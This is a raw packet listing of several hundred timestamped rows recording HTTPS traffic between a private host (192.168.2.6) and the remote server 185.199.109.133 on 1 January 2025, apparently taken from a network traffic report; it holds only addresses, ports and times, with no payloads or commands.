Jan 1, 2025 16:54:55.594218969 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.594233036 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.594245911 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.594269037 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.594419956 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.594436884 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.594491959 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.594499111 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.594563961 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.594970942 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.594991922 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.595035076 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.595046043 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.595074892 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.595093012 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.598247051 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.598290920 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.598298073 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.598306894 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.598359108 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.598366976 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.598850012 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.598870039 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.598911047 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.598918915 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.598948002 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.598973036 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.600301027 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.600390911 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.600405931 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.600471020 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.600480080 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.600709915 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.604034901 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.674751043 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.674770117 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.674866915 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.674890995 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.675091028 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.684921980 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.684936047 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.685007095 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.685022116 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.685210943 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.685230970 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.685262918 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.685271978 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.685298920 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.685319901 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.685524940 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.685539007 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.685575962 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.685585976 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.685607910 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.685628891 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.685924053 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.685945034 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.685981989 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.685988903 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.686002970 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.686021090 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.689338923 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.689362049 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.689443111 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.689456940 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.689820051 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.689856052 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.689883947 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.689892054 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.689923048 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.689944983 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.691339970 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.691363096 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.691411972 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.691421986 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.691448927 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.691468000 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.693084955 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.786704063 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.786722898 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.786837101 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.786854029 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.787869930 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.795677900 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.795696974 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.795762062 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.795773029 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.795967102 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.795988083 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.796032906 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.796040058 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.796060085 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.796083927 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.796242952 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.796261072 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.796309948 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.796317101 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.796734095 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.797483921 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.797502995 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.797561884 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.797569990 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.797642946 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.797663927 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.797692060 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.797700882 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.797723055 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.797750950 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.797907114 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.797924995 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.797954082 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.797960997 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.797975063 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.797997952 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.798168898 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.798187971 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.798229933 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.798237085 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.798254967 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.798275948 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.799482107 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.877948999 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.877966881 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.878066063 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.878078938 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.878113985 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.886651039 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.886667967 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.886759043 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.886769056 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.886810064 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.886876106 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.886892080 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.886943102 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.886950970 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.887172937 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.887193918 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.887229919 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.887248993 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.887260914 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.887286901 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.888622999 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.888638973 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.888711929 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.888720036 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.888804913 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.888832092 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.888885021 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.888892889 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.888916016 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.889133930 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.889151096 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.889187098 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.889194965 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.889209986 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.889241934 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.889357090 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.889374018 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.889429092 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.889436960 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.890760899 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.892714977 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.969010115 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.969033003 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.969208002 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.969222069 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.970146894 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.977586985 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.977603912 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.977679968 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.977688074 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.977830887 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.977850914 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.977893114 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.977901936 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.977927923 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.977940083 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.978111029 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.978137016 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.978162050 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.978168964 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.978189945 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.978207111 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.979548931 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.979568958 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.979648113 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.979656935 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.979692936 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.979715109 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.979742050 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.979748011 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.979779005 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.979796886 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.980074883 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.980091095 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.980140924 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.980149031 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.980365038 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.980385065 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.980424881 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.980432987 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:55.980479002 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:55.980515003 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.060046911 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.060062885 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.060126066 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.060152054 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.060194969 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.068511963 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.068528891 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.068752050 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.068762064 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.068833113 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.068856001 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.068898916 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.068907976 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.068943024 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.068958998 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.069053888 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.069068909 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.069108963 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.069116116 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.069139004 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.069159031 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.070401907 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.070427895 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.070497990 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.070509911 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.070667028 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.070688009 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.070723057 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.070729971 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.070753098 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.070775986 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.071054935 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.071074009 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.071125984 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.071132898 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.071151018 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.071171999 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.071331978 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.071347952 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.071424007 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.071432114 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.071537018 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.071624041 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.153259039 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.153275967 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.153404951 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.153420925 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.153465033 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.159435987 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.159451962 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.159545898 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.159554958 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.159595966 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.159799099 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.159817934 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.159858942 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.159868002 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.159945965 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.159967899 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.160001993 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.160008907 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.160022020 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.160049915 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.161292076 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.161307096 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.161380053 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.161389112 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.161504030 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.161523104 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.161556959 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.161569118 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.161585093 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.161613941 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.162003994 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.162019968 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.162070990 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.162082911 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.162260056 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.162281036 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.162307978 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.162314892 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.162348032 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.162370920 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.244369984 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.244395018 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.244501114 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.244514942 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.245645046 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.250407934 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.250426054 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.250523090 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.250534058 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.250716925 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.250720024 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.250735998 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.250754118 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.250767946 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.250806093 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.250811100 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.250962019 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.250983000 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.251015902 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.251023054 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.251034975 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.251063108 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.252206087 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.252226114 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.252279997 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.252286911 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.252474070 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.252481937 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.252523899 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.252531052 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.252557039 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.252583027 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.252882957 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.252898932 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.252957106 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.252964973 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.253175974 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.253233910 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.253254890 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.253282070 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.253297091 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.253319979 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.253340960 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.335491896 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.335510969 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.335592031 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.335604906 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.336772919 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.341351032 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.341367006 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.341424942 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.341432095 CET	443	49997	185.199.109.133	192.168.2.6
Jan 1, 2025 16:54:56.341459990 CET	49997	443	192.168.2.6	185.199.109.133
Jan 1, 2025 16:54:56.341478109 CET	49997	443	192.168.2.6	185.199.109.133
